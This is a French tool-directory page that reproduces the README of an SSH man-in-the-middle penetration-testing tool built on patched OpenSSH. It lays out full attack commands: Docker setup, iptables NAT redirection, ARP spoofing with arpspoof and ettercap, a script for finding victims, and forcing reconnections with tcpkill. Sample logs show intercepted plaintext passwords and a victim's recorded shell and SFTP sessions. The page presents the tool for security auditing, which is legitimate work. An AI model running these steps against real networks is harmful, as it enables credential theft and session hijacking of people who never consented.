Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/jtesta/ssh-mitm
Cassage de Mots de PasseReconnaissanceÉvasion IDS/IPSMouvement LatéralCollecte d'InformationsSécurité RéseauTests d'IntrusionAuthentificationRed TeamingArchived
GitHubjtesta/ssh-mitm

ssh-mitm

Outil de type homme du milieu pour SSH

1.7k213il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

SSH MITM v2.3-dev

Auteur : Joe Testa (@therealjoetesta)

Aperçu

Cet outil de test de pénétration permet à un auditeur d'intercepter des connexions SSH. Un correctif appliqué au code source d'OpenSSH v7.5p1 lui permet d'agir comme un proxy entre la victime et son serveur SSH prévu ; tous les mots de passe en clair et les sessions sont enregistrés sur le disque.

Bien entendu, le client SSH de la victime signalera que la clé du serveur a changé. Mais comme 99,99999 % du temps cela est dû à une action légitime (réinstallation du système d'exploitation, changement de configuration, etc.), la plupart des utilisateurs ignoreront l'avertissement et continueront.

REMARQUE : Exécutez uniquement le sshd_mitm modifié dans une VM ou un conteneur ! Des modifications ponctuelles ont été apportées aux sources OpenSSH dans des zones critiques, sans tenir compte de leurs implications en matière de sécurité. Il n'est pas difficile d'imaginer que ces modifications introduisent de graves vulnérabilités.

Journal des modifications

  • v2.3 – ??? : Ajout de la prise en charge de Linux Mint 20 et Ubuntu 20.
  • v2.2 – 16 septembre 2019 : Correction de l'installation sur Kali et Linux Mint 19. Correction d'une double invite de mot de passe survenant dans certaines conditions. Amélioration de la journalisation des erreurs.
  • v2.1 – 4 janvier 2018 : Activation de l'exécusion de commandes non interactives, interception possible des connexions vers des anciens serveurs utilisant des algorithmes faibles, correction de deux bugs majeurs qui provoquaient l'arrêt de certaines connexions par AppArmor et amélioration de la journalisation des erreurs.
  • v2.0 – 12 septembre 2017 : Ajout du support complet de SFTP et du confinement AppArmor.
  • v1.1 – 6 juillet 2017 : Suppression des dépendances aux privilèges root, ajout d'un installateur automatique, ajout du support de Kali Linux, ajout du script JoesAwesomeSSHMITMVictimFinder.py pour trouver des cibles potentielles sur un réseau local.
  • v1.0 – 16 mai 2017 : Version initiale.

Exécution de l'image Docker

Le moyen le plus rapide et le plus simple de commencer est d'utiliser l'image Docker avec SSH MITM pré-compilé.

1.) Obtenez l'image depuis Dockerhub avec :

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) Ensuite, exécutez le conteneur avec :

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) Activez le forwarding IP et les routes NAT sur votre machine hôte :

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) Trouvez des cibles sur le réseau local, puis usurpez leurs ARP (voir ci-dessous).

5.) Les sessions Shell et SFTP seront enregistrées dans le répertoire ssh_mitm_logs.

Configuration initiale

En tant que root, exécutez le script install.sh. Celui-ci installera les prérequis depuis les dépôts, téléchargera l'archive OpenSSH, vérifiera sa signature, la compilera et initialisera un environnement non privilégié pour l'exécution.

Recherche de cibles

Le script JoesAwesomeSSHMITMVictimFinder.py rend très facile la recherche de cibles sur un réseau local. Il usurpera (ARP spoof) un bloc d'adresses IP, reniflera le trafic SSH pendant une courte période, puis passera au bloc suivant. Toute connexion SSH en cours provenant de périphériques sur le réseau local sera signalée.

Par défaut, JoesAwesomeSSHMITMVictimFinder.py usurpera et reniflera seulement 5 adresses IP à la fois pendant 20 secondes avant de passer au bloc suivant de 5. Ces paramètres peuvent être ajustés, mais il y a un compromis : plus vous usurpez d'IP à la fois, plus vous avez de chances de détecter une connexion SSH en cours, mais plus vous sollicitez votre interface réseau. Sous une charge trop élevée, votre interface commencera à perdre des trames, provoquant un déni de service et attirant fortement l'attention (ce qui est mauvais). Les valeurs par défaut ne devraient pas poser de problème dans la plupart des cas, même si cela prendra plus de temps pour trouver des cibles. La taille du bloc peut être augmentée en toute sécurité sur les réseaux à faible utilisation.

Exemple :

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

La sortie ci-dessus montre que deux périphériques sur le réseau local ont établi des connexions SSH (10.11.12.43 et 10.11.12.70) ; ceux-ci peuvent être ciblés pour une attaque de type homme du milieu. Notez cependant que pour intercepter potentiellement les identifiants, vous devrez attendre qu'ils initient de nouvelles connexions. Les testeurs impatients peuvent opter pour la fermeture forcée des sessions SSH existantes (à l'aide de l'outil tcpkill), ce qui incitera les clients à en créer immédiatement de nouvelles...

Lancement de l'attaque

1.) Une fois la configuration initiale terminée et une liste de victimes potentielles trouvée (voir ci-dessus), exécutez start.sh en tant que root. Cela démarrera sshd_mitm, activera le forwarding IP et mettra en place l'interception des paquets SSH via iptables.

2.) Usurpez l'ARP de la ou des cibles (Astuce : ne PAS usurper tout le réseau ! Votre petite interface réseau ne pourra probablement pas gérer tout le trafic d'un réseau à la fois. N'usurpez que quelques IP à la fois) :

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

Vous pouvez également utiliser l'outil ettercap :

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) Surveillez auth.log. Les mots de passe interceptés apparaîtront ici :

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) Une fois une session établie, un journal complet de toutes les entrées et sorties se trouve dans /home/ssh-mitm/. Les sessions SSH sont enregistrées sous shell_session_.txt*, et les sessions SFTP sous sftp_session_.html* (avec les fichiers transférés stockés dans un répertoire correspondant).

Exemples de résultats

En cas de succès, /var/log/auth.log contiendra des lignes enregistrant le mot de passe, comme ceci :

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

De plus, la session SSH entière de la victime est enregistrée :

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Notez que les caractères des commandes de l'utilisateur apparaissent deux fois dans le fichier car l'entrée de l'utilisateur est enregistrée, ainsi que la sortie du shell (qui renvoie les caractères). Observez que lorsque des programmes comme sudo et ssh désactivent temporairement l'écho pour lire un mot de passe, les caractères en double ne sont pas enregistrés.

Toute activité SFTP est également capturée. Utilisez un navigateur pour visualiser sftp_session_0.html. Il contient un journal des commandes, avec des liens vers les fichiers téléchargés et téléversés :

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

Documentation développeur

Dans lol.h se trouvent deux définitions : DEBUG_HOST et DEBUG_PORT. Activez-les et définissez le nom d'hôte sur un serveur de test. Vous pouvez alors vous connecter directement à sshd_mitm sans utiliser l'usurpation ARP pour tester vos modifications, par exemple :

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

Pour tester les modifications apportées au code source d'OpenSSH, utilisez le script dev/redeploy.sh.

Pour voir un diff des modifications non validées, utilisez le script dev/make_diff_of_uncommitted_changes.sh.

Pour régénérer un correctif complet des sources OpenSSH, utilisez le script dev/regenerate_patch.sh.

Télécharger l’outil